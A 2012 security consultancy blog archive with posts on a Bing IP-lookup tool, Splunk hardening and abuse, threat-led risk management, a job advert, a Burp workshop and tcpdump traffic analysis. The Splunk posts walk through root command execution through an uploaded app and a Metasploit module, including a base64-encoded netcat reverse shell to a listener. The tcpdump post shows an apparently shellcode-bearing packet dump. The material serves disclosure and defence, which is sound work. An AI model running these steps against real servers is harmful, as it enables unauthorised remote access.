Tuesday, 18 December 2012

Google rocks right? Well, there’s still one feature it lacks compared to Bing – the ability to search by IP address. On bing.com you can use ip:<IP address> and it will return pages indexed from that IP address which, as a security guy is a really useful way of enumerating virtual hosts belonging to a web server.However, a fancy web page of results is not much use to the average penetration tester, we like text files which we can then pass into all sorts of other tools and scripts that we come up with. There seem to be a few command line tools which dealt with gathering data from Google but in my brief search on a BT5 instance there wasn’t one which did what I wanted, so as all good testers would do, I wrote one.bingip is a really simple tool that makes a request to bing.com to determine domains hosted at that IP, returning each in plain-text on a new line. It’s a very simple script at the moment and can only handle up to 50 domains (due to the page limit on Bing - I will update to use API at some point) and of course, can break as soon as Bing change their website – but I’ll try and keep on top of that.

CHRISTMAS UPDATE:
As it's Christmas we've added some new features to bingip.

It now accepts a file of IP addresses as input and, more usefully I think, it accepts an Nmap XML file too. This means you can run your standard Nmap scans as normal and, when you're done use bingip to find which websites are hosted on the target IP addresses. A simple example would be:

nmap -p 80 -oX bingip_example.xml scanme.nmap.org

Now pass the file generated as an argument and bingip will automatically
extract hosts with web server ports:

Wednesday, 14 November 2012

Following up on my post earlier about abusing Splunk functionality, one of the issues Splunk administrators face when deploying the Free version is the lack of authentication. I just had a very quick and simple thought for anyone running it on Linux/Unix. I suggest simply that you bind SplunkWeb to localhost only and use SSH tunnels to access it.

It doesn't give you any kind of granularity over permissions within Splunk itself and it's not appropriate for all user types but for systems/IT folk who, in my experience make up a decent percentage of users, it could be a good option. It's likely they already have local OS accounts on the Splunk server anyway.

In order to configure Splunk to listen on localhost only a simple configuration change is required to the following file.

$SPLUNK_HOME/etc/system/default/web.conf

$SPLUNK_HOME is /opt/splunk by default. Uncomment and set the following configuration item as follows:

server.socket_host = localhost

Now restart SplunkWeb:

$SPLUNK_HOME/bin/splunk restart splunkweb

Check that's it listening as you expected using a quick netstat on the Linux box:

$ netstat -an | grep 8000
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN

Nice. Now we need to SSH to the Splunk server and set up our tunnel. I'll give a quick example using OpenSSH, if you're a Windows user PuTTY is your friend (other Windows SSH clients are available). On *your own* machine execute:

$ ssh -L8000:127.0.0.1:8000 splunk-linux.local

Authenticate as normal and your local port 8000 is forwarded to 127.0.0.1:8000 on the Splunk server so you can now access your Splunk Free instance by connecting to http://localhost:8000. This at least restricts access to valid users on the Linux server which is a big step up from the default. It's also more restrictive than (though works nicely in combination with) host-based firewalling on the server.

In our post Splunk: With Great Power comes Great Responsibility we outlined how the sheer power and flexibility of Splunk can be abused to gain complete control of the server upon which Splunk is running. We ran through the creation of a custom application to upload through SplunkWeb, which facilitates OS command execution in the context of the Splunk OS user - which is root/SYSTEM by default.

Creating a custom application and manually specifying the arbitrary commands you wish to run is time consuming and unnecessary when we have powerful scripting languages and frameworks to do the legwork for us. Originally I developed a standalone ruby tool, which I released and demoed during a Lightning Talk at BruCON 2012 (and literally wrote during some of the talks there). However, after constant harassment a suggestion from @ChrisJohnRiley, I have developed a module for the Metasploit Framework. A pull request has been submitted, so hopefully it will be included in the main Metasploit Framework. However, until then you can clone from the 7 Elements Github repository as follows (I'll assume you're running a Unix based OS, you're on your own with Windows).

With that done, we can fire up Metasploit and begin exploitation. I am going to attack a local Debian VM which is running a default installation of Splunk 5 (latest version at time of writing) with the Free license activated.

msf exploit(splunk_upload_app_exec) > show advanced
Module advanced options:
Name : CommandOutputDelay
Current Setting: 10
Description : How long to wait before requesting command output from Splunk
(seconds)
Name : DisableUpload
Current Setting: false
Description : Disable the app upload if you have already performed it once
Name : EnableOverwrite
Current Setting: false
Description : Overwrites an app of the same name. Needed if you change the app
code in the tgz
Name : ReturnOutput
Current Setting: true
Description : Display command output

As discussed, exploiting this feature requires an admin level user in Splunk. The username and password are preset to admin and changeme which are the Splunk defaults. On the Free license it actually doesn't matter as there's no authentication anyway.

You will need to set SPLUNK_APP_FILE. By default it will look in the main Metasploit data folder for the provided tar.gz app which means if it ever makes it to the main trunk you won't need to change it by default. For now we set this to the tar.gz provided in the msf_modules directory.

We also set our target (RHOST), our payload (in this case reverse netcat) and the target IP for our payload (LHOST). Everything else we can leave as default.

The usual post-exploitation can now ensue of course. On a recent test I used this method to compromise a host which, among other things, turned out to be running the TACACS+ service for the network. I gained enable access to all Cisco devices in the environment.

In the previous post I also showed how you can retrieve the output from commands. The example I gave was against an Enterprise install running on Windows Server 2008 R2. Let's pop that puppy with our metasploit module too.

Oh dear. What happened there? The command didn't return any output. Splunk uses an internal job scheduler in order to process commands so the way we retrieve output is by polling the job control service for any output returned. By default we do this 5 seconds after we execute the script but some commands take longer than this to return. systeminfo, as most of you will know, is not a fast command.

The solution is to increase the time the module waits before it asks for output using the advanced option CommandOutputDelay. Let's try 10 seconds:

Splunk is a fantastically powerful solution to "search, monitor and analyse machine-generated data by applications, systems and IT infrastructure" and it's no surprise that many businesses are turning to it in order to help meet some of their compliance objectives. Part of Splunk's power comes from its query language and custom application capability. If a user wants to enhance the features of Splunk, maybe to parse and group disparate log entries together into a transactional view, this can all be done. On top of this, a healthy marketplace for Splunk Apps has grown up on the SplunkBase community website.

Splunk Applications

Splunk Apps are a collection of scripts, content and configuration files in a defined directory structure which are then uploaded to the Splunk server for addition to the App list. This allows authorised users access to the queries and actions that it can perform. In order to upload an App through the web interface the Splunk user requires (by default) 'admin' role.

A bit more power than you thought for?
Splunk offer a very powerful command called script which allows admin-level Splunk users to make "Makes calls to external Perl or Python programs". This is very useful for a number of reasons but is particularly interesting to an attacker who has gained administrative access to a Splunk server.

Nothing new here really. Lots of apps allow authenticated users to upload custom content and every one of them is potentially vulnerable if they do not adequately ensure that this cannot be abused. The main difference with Splunk is two-fold in my opinion.

Firstly, by default Splunk runs as root (on Unix, LocalSystem on Windows). This is far better from an attacker's perspective than, for example, the web server user.

Secondly, in the free version of Splunk there is no authentication at all and it logs you directly in as admin. The Enterprise version does provide authentication and granular permission control. However, as disclosed by Sec-1 in November 2012, it does not protect against brute-force attacks on the login page which leaves it vulnerable. I verified this against the latest version 5 which was recently released with a simpler Burp Intruder attack. As you can see, password attempt 100 succeeds.

Splunk runs over HTTP not HTTPS by default, though HTTPS is a simple click away (more on that later). This means there is also a risk of credential capture over the network by a suitably placed Man-In-The-Middle.

Summarising quickly, what we have here is a "feature" not a vulnerability however, as you will see, Splunk has powerful functionality which can be abused with significant security implications.

Splunk Apps can be very complicated affairs with the possibility of hooking into the SplunkWeb MVC framework to define custom controllers and views for rendering your data. Our needs are actually very modest so we will create the minimum required for our goal: arbitrary OS command execution.

Splunk Apps are installed to $SPLUNK_HOME/etc/apps on the Splunk server. Each app has its own directory, usually named after the app. There are three ways to get an App onto a Splunk server:

1) Manually copy to $SPLUNK_HOME/etc/apps
2) Install from SplunkBase through the SplunkWeb UI
3) Define or upload through the SplunkWeb UI
Option 1 is obviously not available to us at this stage, if we had this kind of access and privilege on the server already we likely wouldn't need this attack.

Option 2 is an interesting potential attack vector which I plan to explore in the future. I do not know what checks are made my Splunk when you submit an app to SplunkBase. Analogous to the smartphone App Stores there is a great risk associated with installing arbitrary code into your environment particularly, as we demonstrate in this post, it runs with such privilege by default.

(d) Your Application will not contain any malware, virus, worm, Trojan horse, adware, spyware, malicious code or any software routines or components that permit unauthorized access, to disable or erase software, hardware or data, or to perform any other such actions that will have the effect of materially impeding the normal and expected operation of Your Application.A topic for another day perhaps.

So, Option 3 it is then. You can manually define the files through the UI but that's slow. The easiest way is to create the folder structure and files locally, then produce a tar.gz archive from it and upload.

We will create an app called upload_app_exec. It will contain the following:

default.meta - For our purposes, this defines the scope of our commands. We export to "system" which basically means all apps.
< br />

[commands]
export = system

pwn.py - The meat and potatoes. This is our arbitrary python script which Splunk will run. This could be even simpler that what I have defined here however, by using the splunk.Intersplunk python libraries provided we are able to capture output from commands executed and present back to Splunk cleanly.
As you can see, we pass in a single argument which is a base64 encoded string (easier as it avoids browser encoding issues and handling multiple arguments in here or in Splunk.

$ tar cvzf upload_app_exec.tgz upload_app_exec
a upload_app_exec
a upload_app_exec/bin
a upload_app_exec/default
a upload_app_exec/metadata
a upload_app_exec/metadata/default.meta
a upload_app_exec/default/app.conf
a upload_app_exec/default/commands.conf
a upload_app_exec/bin/pwn.py

Now we head over to our Splunk system to complete the upload. I will demonstrate this with a default installation of the latest (at time of writing) version 5 of Splunk on a Debian 6 box. The only thing I have configured in Splunk is activating the Free License rather than the default trial Enterprise license included.

Open your browser and type in the address for your target Splunk instance. In this example my Debian box is splunk-linux.local on the default port of 8000. By default you will be greated by the launcher app.

Click on the Apps menu on the right-hand side.

Then "Install app from file" and select the tar.gz we created in the previous steps.

You should receive a message to say the app installed successfully. Now access it from the App dropdown menu at the top right of the screen.

You will be presented with the timeline interface for our new app.

Exploitation

If you recall from earlier, our command will be supplied as a base64 encoded string. For this demonstration I will pop a reverse netcat shell to my waiting listener. Generating base64 is a doddle but just in case you want some command-line fu:

Finally, time to trigger the command execution and get our shell. In the Splunk search box type the command to pipe the search results (which are irrelevant to us) to our script command:

* | script pwn bmMgLWUgL2Jpbi9zaCAxNzIuMTYuMTI1LjEgNDQ0NA==

Profit:

We can also return the output of a command to Splunk for display in the browser. This time I will demonstrate using Splunk for Windows just to show it's a universal problem. Again using a default installation of 5 on Windows Server 2008 R2 except this time it has an Enterprise license.

Upload the same app as before but this time we will issue the systeminfo command which will run as NT AUTHORITY\SYSTEM.

Splunk have been contacted for advice on this threat but have so far not responded. We will update this blog with their official response as and when we receive it.

UPDATE: 15th November 2012Fred Wilmot at Splunk has been in touch with me and we've had a really good chat about this. He sent me an email addressing each of the points in this post. What is also clear is that Splunk are committed to doing things the "right way". Fred has some great ideas he's working on so hopefully these will come to fruition. I have included Splunk's response at the end.

In the mean time we would suggest at a minimum Splunk administrators implement the advice in Splunk's hardening guide at http://wiki.splunk.com/Community:DeployHardenedSplunk. This will result in an installation which does not run as a privileged user and switches SplunkWeb to use HTTPS. These don't directly address the threat of arbitrary command execution however. Depending on the target of the attack and other implementation details, getting access to a "splunk" user may be enough. Think "data oriented" or "goal oriented" rather than assuming root is required.

I have not been able to identify a way to disable the script command. The main splunkd process is a compiled executable but a lot of the functionality of Splunk is written in Python so there may be a simple way to comment out or redefine the pertinent parts of the application. This would however be a hard-sell to most organisations and rightly so. Particularly Enterprise customers who pay handsomely for their annual support contracts.

I wonder also if Linux/Unix users could chroot the installation without losing functionality. This may be the strongest mitigation available.

For now it seems the best advice we can give is to ensure that no Free Licence deployments of Splunk are available on a network which contains sensitive data. That credentials at an OS level are not shared between Enterprise deployments and Free versions, particularly those accounts with the admin role. Additionally ensure that users with admin role are reviewed regularly and privileges reduced to least privilege. All the usual good advice basically.

If Splunk come back to us with any further advice we will update this post accordingly. I'm particularly interested in the answer to another question I asked them: which other commands or functionality can be (ab)used in this way. If you think of any please add a comment.

END OF ORIGINAL POST

Response from Fred Wilmot at Splunk:

We wanted to respond to your blog post, which I enjoyed reading all three sections. You express some valid concerns if best practices are not followed. Let me try to summarize:

Threat Model:

1) Default Splunk runs as root (on Unix, LocalSystem on Windows).

2) No authentication mechanism other than Splunk, default login is administrative

* create roles and map capability to user based on least privilege (which is default 0 for new accounts)

Summarising quickly, what we have here is a "feature" not a vulnerability however, as you will see, Splunk has powerful functionality which can be abused with significant security implications.

Exploitation:

We certainly are aware of the power of the features of Splunk, and if standard security best practices are bypassed like: privileged local account access, running Splunk as root, and using the free version of Splunk w/o an auth scheme, you have the opportunity to execute scripts using Splunk and python libs for code execution.

We designed Splunk to allow roles to add applications both through the User Interface as well as the file system through access. We also completely agree that the free version's method of authentication is NOT designed for enterprise use, and suggest the primary use case is enabling folks to get used to core Splunk with a volume of daily ingest license as the limiter. Anyone with the ability to run root, owns the box, and hence, all things. If we install an app under that context, the same functionality applies.

Mitigation:

Here are some ways/means to add some controls around feature function-

1) If authenticating to Splunk, use SSL as a standard function when possible, in conjunction with LDAP authentication. Generate your own keys, don't use Splunk's default keys as well.

2) Provided we follow a roles-based access control approach, we can also limit who is capable of authenticating as a role to Splunk, and thereby what they can do as a function of product features. this includes searches, views, applications, and many of the administrative functions for running Splunk.

3) We can configure commands.conf to prevent script export to anything outside the application it runs in, including passing authentication as a function of the custom python script.

4) We can also configure default.meta to add additional controls around the application itself. *.meta files contain ownership information, access controls, and export settings for Splunk objects like saved searches, event types, and views. Each app has its own default.meta file.

I do see an opportunity to limit the capability of script execution as an additional control we can place in the roles capability to limit arbitrary code execution by anyone at the Splunk Application level. Maybe we limit script loading except through the UI for all non 'Admin' roles? Perhaps assigning a GUID to a script specifically might add granularity here as well. We also have a functionality to monitor and audit user interactivity within Splunk. We, of course, Splunk that too.

You asked about some operations that may have interesting impacts as you describe with 'script' command, I might suggest the nature of the feature itself allows for this, and should be used with due care, change control, and audit for visibility into add/change/mod. We designed Splunk to allow folks to upload/download apps to Splunk as a platform from our splunk-base.splunk.com, as well as the community to contribute their context for Splunk as a platform with their applications they have created.

As you said, with great power comes great responsibility; we are very open to suggestions, and feedback on the product. Thank you very much for both the candor and the feedback, looking forward to hearing more from you.

Tuesday, 9 October 2012

It is now widely acknowledged that risk management is the best way to manage security and security risks are beginning to be integrated into organisations’ business risk management structures so that they are managed alongside other business risks. This is a significant step forward but a component is frequently missing from the security risk equation, threat. While there is no easy fix to this, the following blog is about setting the scene, and 'why' threat is an integral part to the overall risk management approach.

What is Threat?
There are many definitions of a threat, but within the context of security risks we will use the following:

An actor that has the intent and capability to carry out an act that could cause harm to an organisation.

In some instances this is referred to as the cause of a risk. A threat must possess both the intent and capability to carry out the act and these two elements can be used to assess the size of a threat to an organisation.

In this context, the threat is a wilful actor that chooses to undertake the threat.

Threats are not the only cause of risks though. Some risks may be caused by circumstances or events that do not possess intent or capability, such as adverse weather. These are referred to as hazards.

Hazards are rarely, if ever, a direct cause of a security risk and as such will not be covered in this blog.

Where does Threat fit into the risk equation?
Again, there are many definitions of a risk but we will use the following:

Any uncertain event that could have an impact on an organisation’s ability to achieve its business objectives.

These overarching definitions of risk clearly demonstrate the link between the risk and a business’s objectives but they don’t describe what factors come together to make a risk. The following formula lays out the series of key factors required to cause a security risk. Threat is key component of this.

A THREAT exploits a VULNERABILITY that causes an EVENT that has an IMPACT on the business.

The terms used above are all standard entities used in risk and whilst real life is never that simple most security risks follow the above formula in theory.

Why Threat is important?
A threat initiates a risk. It is not until a threat exploits a vulnerability that an event that impacts a business will occur. Without the threat, the other sequence of events will not be triggered and the consequences would not occur.

Organisations do not need to have knowledge of a defined threat to identify and manage a risk. The fact that a vulnerability exists, which a threat could exploit, is normally sufficient for an organisation and the threat element is ignored. The threat though contains a large number of variables that will determine the evolution of the event and its subsequent impact. The threat determines the timing, nature, size and velocity of an event.

It is these variables that give rise to the uncertainties of the event and therefore its subsequent impact. A defined and understood threat therefore provides additional information on the security risk that can be used to refine and target controls.

Why is Threat frequently not taken into account?
Despite its clearly important role, threat is often missed out from organisations’ risk management processes. Threats are difficult to define. They exist outside of an organisation and therefore the information is difficult to obtain. In addition, organisations can rarely influence or control a threat, without great cost.

Organisations therefore focus on the internal picture, identifying and managing vulnerabilities, which given the premise that vulnerabilities that could be exploited by a threat should be protected, they have to do anyway.

Whilst understandable, for me this misses a key part out of risk management. So, how do we take into account threat in the risk management process?

Threat Led Risk Management
The point of risk management is to understand the things that might prevent you from achieving your objectives, and managing them. It is about information and truly understanding the context in which you operate to enable you to prevent the unforeseen things, which exist outside of your plan, preventing you from achieving your goals. In this context, the threat is a vital part of the jigsaw puzzle as it provides much greater clarity on the likelihood of a risk occurring and the potential impact. Whilst risks can therefore be defined using the organisation’s vulnerability and potential impact, a risk cannot be truly quantified without taking into account the threat. We have termed this Threat Led Risk Management.

Threat Led Risk Management enables organisations to truly undertake risk management. This of course leaves organisations with a real problem, how do they get the information on threat that they need at a reasonable cost?

Threat Information
Gathering current and accurate information on the threats to a business or organisation is a difficult task. The information is not easily obtained and in respects of security risks and the likely perpetrators, information on the threat is naturally guarded. For an organisation to gather information on the threats it faces and keep that information up to date, it would need to develop an effective intelligence network with sufficient sources of information to meet its needs as well as have the capacity to analyse that information. For the majority of organisations this is unachievable.

The resource implications alone are likely to act as a barrier but in addition, the time it would take to establish an effective intelligence network is likely to prevent organisations from going down this route. In addition, organisations in similar sectors will be replicating work, in effect all seeking the same information and applying it to their businesses.

From a UK plc point of view this is a huge waste of resource to protect our businesses.

A Possible Way Forward
Organisations can obtain threat information from private companies that provide bespoke threat products but there is no guarantee on quality and those with good reputations are expensive. However, rather than individual organisations undertaking essentially the same intelligence gathering exercises on the same threats, a central non-competitive system that produces an industry sector specific threat report would provide a cost effective solution to enable organisations to undertake Threat Led Risk Management. Perhaps this is a role that could be undertaken by the UK Government.

The UK Government is currently seeking to strengthen the business sector’s resilience to attack, particularly in the area of what it calls cyber threats, and has also asked for innovative ideas on identifying and tackling the threat. (Summarised by the BBC) The Government’s current focus though appears to be on attaining the information to enable them to act, rather than sharing threat information. Whilst the Centre for the Protection of the National Infrastructure (CPNI) does work with private organisations, and provide security advice, no formal industry specific threat product exists.

The UK Government already has a system and structure in place able to gather intelligence on threats. It is acknowledged that the UK Government will not be able to share the majority of information on threats and it is not suggested that private companies are given access to all the information. However, the information could be used to provide a centralised industry sector specific threat product that would enable organisations to better manage their security risks.

Thursday, 13 September 2012

44Con 2012 has been and gone and attendees seem to agree it was a huge success. I was proud to present my Burp Plugin Development for Java n00bs workshop at the event and on the whole I think it went well.

The demo gods weren't smiling on me which meant there was less audience participation than I had envisaged but in the end we ran over our two hour slot by fifteen minutes with just me talking and working through the demos so it was probably just as well!

I've published the slides on Google Presentations. Most of the content was me talking so make sure you check out the speaker notes as much of the detail is there and I've also included links to the code which is also available on our Github page.

If you want to play along at home you will also need to set up an IIS Application Server and install the WCF service from the RepeatAfterMe folder. This also requires the NOEMAX WCF-Xtensions .NET assemblies available from http://www.noemax.com/downloads/wcfx/wcfx_trial.asp.

You will need to edit the app.config file in the RepeatAfterMeClient to point to the correct location for your IIS server. Change the following section:

Wednesday, 12 September 2012

To help us find the
right people, we wanted to give you more information about 7E as a company and
what it is we are looking for.

So what are we
about?

Well firstly, we're
going from strength to strength. We aim to improve the way the industry
approaches information security and to make a real difference. We deliver high
quality technical testing that enables our clients to receive the assurance
they need.

We
take pride in our approach to customer service and have built an excellent reputation
in the delivery of innovative and pragmatic security testing. We deliver a wide
variety of engagements and therefore there is always something new to get
involved with. Our clients cover multiple business sectors, from small niche
providers to large multinational blue-chip organisations and we treat all of
them with the same level of dedication.

How do we do
this?

We do all of this
by putting our clients at the heart of everything we do. Exceptional customer
service and delivering high quality products and services every time are
central to the way in which we work. Our staff use their technical
knowledge to tailor each engagement to the client’s needs and are able totranslate technical issues into clear business related
impact.

What does it
take to work for us?

We
are looking for individuals who are technical 'geeks', have a passion for
security, but also have that something extra - wanting to make a difference.

Is this you?

If you are
motivated in this way, then we want to hear from you. We passionately believe
in what we do and if you share this vision then we can offer you the following:

Dedicated Time
For Research / Training - A
minimum of three days each month to work on research and personal training. If
you have an innovative / interesting research idea then we will support
the required effort to deliver.

No Sales /
Delivery Targets - We
don't have sales or delivery targets at 7 Elements. It is not about selling
days, but delivering what the client requires.

Work-Life
Balance - We believe
strongly in a work-life balance, as such all of our staff get 30 days annual
leave.

Development - We take great pride in providing
on-going tailored support and development for our team. You can expect to
receive individual training plans as well as attendance at conferences
throughout each year.

Tuesday, 28 August 2012

Our Principal Security Consultant Marc Wickenden will be hosting a workshop at the "UK's permier information security conference and training event" - 44Con - next week in London. The two hour practical workshop "Burp Plugin Development for Java n00bs" will be run on either Thursday or Friday in the Technical Workshop Track.

Highlevel Outline
Burp Suite stands out as the de-facto attack proxy for web application assessments. Part of its power lies in the Burp Extender interface which allows "developers" to extend Burp's functionality, including reading and modifying runtime data and configuration, trigger key actions such as Burp Scanner or extend the Burp user interface itself with custom menus and windows.

"That's great, but I'm not a developer, I'm a webapp tester and I want the goodness too"

This practical workshop will take you from zero to hero even if you've never coded a line of Java in your life. Through some basic hands-on examples I will guide you through the process of getting your machine ready for coding, the key features of Burp Extender and how to use it to solve some real world web application testing scenarios.

Details
A rough agenda for the workshop is as follows:

The problem Burp Extender solves

Getting ready

Introduction to the Eclipse IDE

Burp Extender Hello World!

Manipulating runtime data

Decoding a custom encoding scheme

"Shelling out" to other scripts

Limitations of Burp Extender

Examples of really cool Burp plugins to fire your imagination

Requirements
Those looking to attend will require:

Laptop running Windows 7 (or OSX/Linux but I won't be demonstrating with/troubleshooting these) with WiFi capability. VM is fine, if not preferred)

Java Runtime Environment 6 or above

Burp Suite 1.4 and above (Professional preferred but Free will be ok)

Administrator rights to the machine as they will need to install software (supplied on USB stick)

Some programming experience with other languages is assumed. My background is in Bash, Perl, PHP, Python and Ruby if that helps to guage your own capabilities.

Monday, 6 August 2012

For this post, we are going to look at using tcpdump to investigate potentially malicious traffic and the steps required to complete an investigation.

This blog post is based on an answer that I provided on the IT Security Stack Exchange site about analysing network traffic for malicious content. If you don't follow stack exchange, then you should. It's a fantastic resource.

So back to the blog. For me, there are three key stages required when investigating potentially malicious or rogue traffic:

Stage 1 - Traffic CaptureStage 2 - AnalysisStage 3 - Identification

Each can be delivered either through a very formal process or on an ad hoc basis. The end goal of the investigation would drive this requirement. For this scenario we are taking an ad hoc approach that uses tcpdump to investigate udp traffic.

So using our three stage approach we will now investigate this further.

Stage 1 - Traffic Capture.This stage is about using the right tools to capture the traffic.

Tool
Choice:

To do
anything sensible is going to require raw packet output, so use your tool of
choice (wireshark / tcpdump are two examples). Personally I would use tcpdump, and if needed, load the traffic capture into wireshark for a nice graphical
view of the world.

Config:

You will need to configure the
tool to capture the entire packet - by default tcpdump only captures 68 bytes
of data.

I would also capture the hexadecimal output by using the -x flag.
Doing so will allow me to examine the individual bits (very important when
doing a deep dive on evil packets).

For this post we are interested in UDP traffic, so you can limit the packet capture to UDP only
traffic.

This is done by matching the value of 17 (which is for UDP) in the 9th
offset of the IP header. For ease, tcpdump has an inbuilt macro that does
this for you by calling the udp flag option.

Execute:

An example command line for
tcpdump would be:

tcpdump
udp -s 0 -x -w /udp_traffic

This
would capture the entire IP frame with hexadecimal output for UDP traffic only
and write this to a file called udp_traffic.

Two real
options here, use an IDS/IPS solution and replay your traffic to see what
alerts this raises and then chase down each alert to understand if it is a
false-positive or not. This approach is more scientific and is based on known
bad traffic. This would be quicker if the IDS/IPS has already been tuned for
the network and the traffic matches known rules.

Or you
can use a more gut-feel approach using your knowledge of the network and
services that are running to review the traffic. This is more of an art than a
science, but has advantages.

People's gut feel is something you can't programme a
piece of code to replicate and, if you know your network, things will stick out.

Both
approaches will result in the breakdown of traffic into the following groups.

Type of
traffic:

Breakdown by port

Breakdown by source

Breakdown by destination

Breakdown by port

This will
enable you to deal with large amounts of traffic in more manageable chunks and
look for patterns.

In
our example from earlier, we can see that the packets are all from the 192.168.188.128 network and from port 63793 and heading to 192.168.188.1 on various ports. The first three packets show classic scanning traffic, in this case an nmap scan for udp ports:

Points of
interest would be the first offset (counting from zero), which shows 4 for
IPv4. Offset nine shows 11 (remember to convert from hex to decimal) so that is
protocol 17, or UDP.

Then we have source address at offset 12 - c0a8 bc80
(192.168.188.128) and destination address at offset 16 - c0a8 bc01
(192.168.188.1). This is just a simple example, building on this we can then look deeper in to the packet.

Stage
3 - Identify and review rogue traffic.

When you
have identified any specific traffic that is of interest then it is a
combination of research (Google (Other search engines are available)) and deep packet analysis.

To give a feel, this type of UDP packet would
give me concern and warrant further investigation:

This is the last line in our scenario. Why does this jump out? Well, firstly the length of the packet is very large for a UDP packet. So lets take a closer look.

In hex the packet looks like this:

0x0000: 4500
05dc 7d9c 2000 4011 dda1 c0a8 bc80

0x0010: c0a8 bc01 c388 6590 08a1
0c07 425a 7454

0x0020: 3349 3665 5747 6742 4642
4177 7071 4156

0x0030: 6c5a 7271 7975 5579 5546
6375 4b76 6c4f

0x0040: 5762 3853 4578 6757 3766
5837 744f 7572

0x0050: 766e 746b 4339 6c74 6f6c
6156 4264 3072

0x0060: 566c 6739 7355 4a37 3550
3848 7a70 4d6f

0x0070: 6f4b 6e77 7762 4b47 6c6c
4f63 3846 7372

0x0080: 7a7a 4879 7763 6330 4c77
3172 7048 5941

0x0090: 4177 5676 727a 6f52 4b32
566c 5a6b 5242

0x00a0: 696b 4976 3470 547a 3467
6f74 644b 376c

0x00b0: 3468 3443 5676 4758 4535
6857 6b41 657a

0x00c0: 4779 7731 654d 314a 5976
7265 3974 6e41

0x00d0: 305a 4358 6f5a 517a 4344
6378 5634 476d

0x00e0: 7147 6979 3653 6a69 4331
486b 734f 7844

0x00f0: 4175 6467 7858 636f 5550
386c 6332 5a6c

0x0100: 3237 3067 5552 514b 6345
4836 7073 516f

0x0110: 7a52 6631 315a 6365 3563
4f76 4275 4c4a

0x0120: 6f74 5032 5057 704f 6f5a
4d58 4369 7666

0x0130: 3847 6733 5555 5036 6e7a
4c6b 3856 4573

0x0140: 6b59 646b 6b62 6733 5036
6c4c 534c 3248

0x0150: 4156 3037 656b 7433 3148
6578 6968 547a

0x0160: 436f 5635 5957 7165 6d66
4565 3563 494d

0x0170: 6570 7947 4174 5559 4c57
5a59 6d63 3671

0x0180: 4333 4a4e 7269 4778 5968
6b6b 4155 7a39

0x0190: 6c53 5772 5573 5644 684f
3456 3237 5267

0x01a0: 634a 326c 4558 6e5a 6b5a
5255 486f 6436

0x01b0: 6878 4770 5053 4178 426a
6651 6c53 4e70

0x01c0: 5970 646b 5539 735a 3254
737a 6964 4a46

0x01d0: 4b4c 504e 7244 7451 7a41
4945 3233 5951

0x01e0: 586d 4866 7a54 334c 7947
4145 5041 6a65

0x01f0: 4850 4665 3168 7446 4639
4172 4731 526e

0x0200: 324d 5151 4641 737a 4f53
4556 7332 5a38

0x0210: 614d 735a 3978 444b 4565
5054 7459 5663

0x0220: 7837 3059 3666 3871 754e
3377 7252 3659

0x0230: 344c 586c 5232 7265 5a6f
416b 785a 6961

0x0240: 5156 3973 3267 6279 5738
6272 7663 5463

0x0250: 6b62 4e70 5a64 4763 4772
4262 4551 5254

0x0260: 4757 4d76 4e51 414a 3868
5063 7267 304c

0x0270: 4b78 784c 6b49 5563 7443
5a36 526b 745a

0x0280: 4c4e 4c68 7175 4a54 3064
626e 4562 5157

0x0290: 3068 4730 6e47 3650 5468
3467 4e72 4a6b

0x02a0: 5a51 5771 4a38 5747 4453
6e64 3971 4650

0x02b0: 4263 7358 6e46 5173 3057
5a57 6f65 7168

0x02c0: 7a67 5859 6e74 4138 7457
3672 646b 344a

0x02d0: 5958 5363 7231 6c6c 696e
6a38 704b 6146

0x02e0: 786d 4f5a 6c57 4d50 4232
3459 7130 6a4d

0x02f0: 5278 7330 3352 336f 6742
5661 3245 7879

0x0300: 4e43 444b 4d4b 424f 7441
6a37 6e51 6238

0x0310: 4e78 5053 6f39 5a64 3632
3879 6e54 5042

0x0320: 7736 5258 4e42 3557 704d
6b48 7974 5050

0x0330: 4777 4e63 3269 7672 7672
4266 697a 4c67

0x0340: 4568 554a 4636 614b 6a56
7068 4e33 4a4c

0x0350: 5067 7254 6a67 674c 3337
6574 5934 6836

0x0360: 394c 354e 3261 7456 7270
4f69 6531 3452

0x0370: 7568 6835 5374 756e 5676
6f4f 767a 6d6b

0x0380: 6679 6846 4743 3861 3543
6538 454e 4c4c

0x0390: 4745 7630 5247 6675 5333
3070 3576 4b62

0x03a0: 5932 3562 6a38 4752 337a
4973 5068 3867

0x03b0: 364a 6159 3444 7149 5372
4b63 5547 6f6e

0x03c0: 4e36 4845 6e43 6534 4b48
5568 5639 4b47

0x03d0: 3835 5862 5a32 6962 3157
7431 4344 3442

0x03e0: 496e 644e 445a 6851 6870
4373 6951 5776

0x03f0: 4438 5874 6578 4c38 4d4a
694c 3368 536c

0x0400: 664e 3369 75b7 3f07 102d
47b3 10f8 7b04

0x0410: a81c 4873 7672 46b0 b823
f58d 4b13 d477

0x0420: 6692 2ae2 2c1a d598 7c22
d624 ba3f 40b2

0x0430: 0537 08e0 0c35 900d b7bf
4f43 85e3 3afc

0x0440: 9671 28e1 7527 a91d 4e99
9f4a 12d1 f97e

0x0450: 18fd b13c 3d42 9b79 7e77
7b4f 89e1 7970

0x0460: 730b f8b5 bab8 1d3f 2584
e340 bea8 03d0

0x0470: c0d6 9614 b067 98b7 9942
bb97 4bb4 9bbf

0x0480: 3bd4 88f5 4e0c 7546 3d7d
7c09 e07a 69f9

0x0490: 2c90 7149 a92f 0415 911c
7224 9f74 7827

0x04a0: 38d5 7637 b1b2 8ceb 6693
432d 7f02 e234

0x04b0: b68d 48b3 791b fc7f 3c75
35b9 7141 7447

0x04c0: 7805 7d20 eb0d 9272 4a83
e001 e10a d2fd

0x04d0: 734f 700d 9b7c 14b5 4390
bad3 c1f9 7630

0x04e0: f5be bf2d 31e3 351d 81fd
7b39 fc27 7e37

0x04f0: 80e2 2c34 b0b1 1567 7a0c
4b98 3da8 4940

0x0500: bb92 b33f 0425 b71c 8d97
4741 b4f8 b8b9

0x0510: 7705 86d6 4eb6 9193 46d4
422f a93c 6696

0x0520: d5b2 2499 484a 9f56 5458
3633 3057 5458

0x0530: 3633 3856 5848 3439 4848
4850 5658 3541

0x0540: 4151 5150 5658 3559 5959
5950 3559 5959

0x0550: 4435 4b4b 5941 5054 5458
3633 3854 4444

0x0560: 4e56 4444 5834 5a34 4136
3338 3631 3831

0x0570: 3649 4949 4949 4949 4949
4949 515a 5654

0x0580: 5833 3056 5834 4150 3041
3348 4830 4130

0x0590: 3041 4241 4142 5441 4151
3241 4232 4242

0x05a0: 3042 4258 5038 4143 4a4a
494b 4c4a 484c

0x05b0: 4945 5045 5045 5045 304d
594b 5546 514e

